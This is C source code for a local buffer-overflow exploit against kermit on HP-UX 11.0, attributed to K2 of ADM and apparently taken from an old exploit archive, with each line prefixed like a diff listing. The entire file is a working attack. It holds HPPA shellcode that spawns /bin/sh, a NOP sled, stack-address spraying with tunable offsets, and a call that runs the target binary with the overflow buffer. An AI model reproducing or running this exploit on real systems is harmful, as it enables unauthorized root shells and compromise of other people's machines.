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- /* Copyright (c) 2000 ADM */
- /* All Rights Reserved */
- /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */
- /* The copyright notice above does not evidence any */
- /* actual or intended publication of such source code. */
- /* */
- /* Title: HP-UX kermit */
- /* Tested under: HP-UX 11.0 */
- /* By: K2 */
- /* Use: gcc -o kermit kermit.c ; ./kermit */
- /* (more hp to come :) */
- /* */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define BUF_LENGTH 12000
- #define STACK_OFFSET 13400
- #define EXTRA 11500
- #define HPPA_NOP 0x0b390280
-
- u_char hppa_shellcode[] =
- "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
- "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
- "\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";
-
- u_long get_sp(void)
- {
- __asm__("copy %sp,%ret0 \n");
- }
-
- int main(int argc, char *argv[])
- {
- char buf[BUF_LENGTH + 8];
- unsigned long targ_addr;
- u_long *long_p;
- u_char *char_p;
- int i, code_length = strlen(hppa_shellcode),dso=STACK_OFFSET,xtra=EXTRA;
-
- if(argc > 1) dso+=atoi(argv[1]);
- if(argc > 2) xtra+=atoi(argv[2]);
-
- long_p = (u_long *) buf ;
-
- for (i = 0; i < (BUF_LENGTH - code_length - xtra) / sizeof(u_long); i++)
- *long_p++ = HPPA_NOP;
-
- char_p = (u_char *) long_p;
- char_p--;
-
- for (i = 0; i < code_length; i++)
- *char_p++ = hppa_shellcode[i];
-
- targ_addr = get_sp() - dso;
-
- for (i = 0; i < ((xtra /4)); i++)
- {
- *char_p++ =(targ_addr>>24)&255;
- *char_p++ =(targ_addr>>16)&255;
- *char_p++ =(targ_addr>>8)&255;
- *char_p++ =(targ_addr)&255;
- }
-
- printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",targ_addr,strlen(buf),xtra,dso);
-
- execl("./k","k","-Y", buf, (char *) 0); /* make a symlink or something in /tmp */
- perror("execl failed");
- return(-1);
- }
- /* www.hack.co.za [21 march 2001]*/